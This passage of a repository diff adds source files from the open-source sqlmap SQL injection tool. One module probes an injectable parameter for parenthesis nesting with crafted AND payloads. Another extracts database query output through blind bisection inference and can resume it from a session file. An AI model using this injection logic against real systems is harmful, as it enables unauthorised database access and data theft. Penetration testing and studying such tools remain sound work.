||||
except urllib2.HTTPError, e:
|
||||
page = e.read()
|
||||
except urllib2.URLError, e:
|
||||
errMsg = "unable to connect to Google"
|
||||
raise sqlmapConnectionException, errMsg
|
||||
|
||||
self.__matches = self.__parsePage(page)
|
||||
|
||||
return self.__matches
|
||||
80
lib/utils/parenthesis.py
Normal file
80
lib/utils/parenthesis.py
Normal file
@@ -0,0 +1,80 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: parenthesis.py 357 2008-09-21 18:52:16Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.session import setParenthesis
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def checkForParenthesis():
|
||||
"""
|
||||
This method checks if the SQL injection affected parameter
|
||||
is within the parenthesis.
|
||||
"""
|
||||
|
||||
if kb.parenthesis != None:
|
||||
return kb.parenthesis
|
||||
|
||||
logMsg = "testing for parenthesis on injectable parameter"
|
||||
logger.info(logMsg)
|
||||
|
||||
count = 0
|
||||
|
||||
for parenthesis in range(1, 4):
|
||||
query = agent.prefixQuery("%s " % (")" * parenthesis))
|
||||
query += "AND %s" % ("(" * parenthesis)
|
||||
|
||||
randInt = randomInt()
|
||||
randStr = randomStr()
|
||||
|
||||
if kb.injType == "numeric":
|
||||
query += "%d=%d" % (randInt, randInt)
|
||||
elif kb.injType == "stringsingle":
|
||||
query += "'%s'='%s" % (randStr, randStr)
|
||||
elif kb.injType == "likesingle":
|
||||
query += "'%s' LIKE '%s" % (randStr, randStr)
|
||||
elif kb.injType == "stringdouble":
|
||||
query += "\"%s\"=\"%s" % (randStr, randStr)
|
||||
elif kb.injType == "likedouble":
|
||||
query += "\"%s\" LIKE \"%s" % (randStr, randStr)
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unsupported injection type"
|
||||
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == kb.defaultResult:
|
||||
count = parenthesis
|
||||
|
||||
logMsg = "the injectable parameter requires %d parenthesis" % count
|
||||
logger.info(logMsg)
|
||||
|
||||
setParenthesis(count)
|
||||
184
lib/utils/resume.py
Normal file
184
lib/utils/resume.py
Normal file
@@ -0,0 +1,184 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: resume.py 294M 2008-10-14 23:49:41Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.techniques.inference.blind import bisection
|
||||
|
||||
|
||||
def queryOutputLength(expression, payload):
|
||||
"""
|
||||
Returns the query output length.
|
||||
"""
|
||||
|
||||
lengthQuery = queries[kb.dbms].length
|
||||
|
||||
select = re.search("\ASELECT\s+", expression, re.I)
|
||||
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
|
||||
selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
|
||||
miscExpr = re.search("\A(.+)", expression, re.I)
|
||||
|
||||
if selectTopExpr or selectDistinctExpr or selectExpr:
|
||||
if selectTopExpr:
|
||||
regExpr = selectTopExpr.groups()[0]
|
||||
elif selectDistinctExpr:
|
||||
regExpr = selectDistinctExpr.groups()[0]
|
||||
elif selectExpr:
|
||||
regExpr = selectExpr.groups()[0]
|
||||
elif miscExpr:
|
||||
regExpr = miscExpr.groups()[0]
|
||||
|
||||
if ( select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I) ) or len(regExpr) <= 1:
|
||||
return None, None, None
|
||||
|
||||
if select:
|
||||
lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
|
||||
else:
|
||||
lengthExpr = lengthQuery % expression
|
||||
|
||||
infoMsg = "retrieving the length of query output"
|
||||
logger.info(infoMsg)
|
||||
|
||||
output = resume(lengthExpr, payload)
|
||||
|
||||
if output:
|
||||
return 0, output, regExpr
|
||||
|
||||
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr))
|
||||
|
||||
lengthExprUnescaped = unescaper.unescape(lengthExpr)
|
||||
count, length = bisection(payload, lengthExprUnescaped)
|
||||
|
||||
if length == " ":
|
||||
length = 0
|
||||
|
||||
return count, length, regExpr
|
||||
|
||||
|
||||
def resume(expression, payload):
|
||||
"""
|
||||
This function can be called to resume part or entire output of a
|
||||
SQL injection query output.
|
||||
"""
|
||||
|
||||
condition = (
|
||||
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
||||
and expression in kb.resumedQueries[conf.url].keys()
|
||||
)
|
||||
|
||||
if not condition:
|
||||
return None
|
||||
|
||||
resumedValue = kb.resumedQueries[conf.url][expression]
|
||||
|
||||
if not resumedValue:
|
||||
return None
|
||||
|
||||
if resumedValue[-1] == "]":
|
||||
resumedValue = resumedValue[:-1]
|
||||
|
||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||
logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
|
||||
|
||||
if logValue:
|
||||
logValue = ", ".join([value.replace("__DEL__", ", ") for value in logValue])
|
||||
else:
|
||||
logValue = resumedValue
|
||||
|
||||
if "\n" in logValue:
|
||||
infoMsg += "%s..." % logValue.split("\n")[0]
|
||||
else:
|
||||
infoMsg += logValue
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
return resumedValue
|
||||
|
||||
# If we called this function without providing a payload it means that
|
||||
# we have called it from lib/request/inject __goInband() function
|
||||
# in UNION SELECT (inband) SQL injection so we return to the calling
|
||||
# function so that the query output will be retrieved taking advantage
|
||||
# of the inband SQL injection vulnerability.
|
||||
if not payload:
|
||||
return None
|
||||
|
||||
expressionUnescaped = unescaper.unescape(expression)
|
||||
substringQuery = queries[kb.dbms].substring
|
||||
select = re.search("\ASELECT ", expression, re.I)
|
||||
|
||||
_, length, regExpr = queryOutputLength(expression, payload)
|
||||
|
||||
if not length:
|
||||
return None
|
||||
|
||||
if len(resumedValue) == int(length):
|
||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||
infoMsg += "%s" % resumedValue.split("\n")[0]
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))
|
||||
|
||||
return resumedValue
|
||||
elif len(resumedValue) < int(length):
|
||||
infoMsg = "resumed from file '%s': " % conf.sessionFile
|
||||
infoMsg += "%s..." % resumedValue.split("\n")[0]
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))
|
||||
|
||||
if select:
|
||||
newExpr = expressionUnescaped.replace(regExpr, substringQuery % (regExpr, len(resumedValue) + 1, int(length)), 1)
|
||||
else:
|
||||
newExpr = substringQuery % (expressionUnescaped, len(resumedValue) + 1, int(length))
|
||||
|
||||
missingCharsLength = int(length) - len(resumedValue)
|
||||
|
||||
infoMsg = "retrieving pending %d query " % missingCharsLength
|
||||
infoMsg += "output characters"
|
||||
logger.info(infoMsg)
|
||||
|
||||
_, finalValue = bisection(payload, newExpr, length=missingCharsLength)
|
||||
|
||||
if len(finalValue) != ( int(length) - len(resumedValue) ):
|
||||
warnMsg = "the total length of the query is not "
|
||||
warnMsg += "right, sqlmap is going to retrieve the "
|
||||
warnMsg += "query value from the beginning now"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
return "%s%s" % (resumedValue, finalValue)
|
||||
|
||||
return None
|
||||
Reference in New Issue
Block a user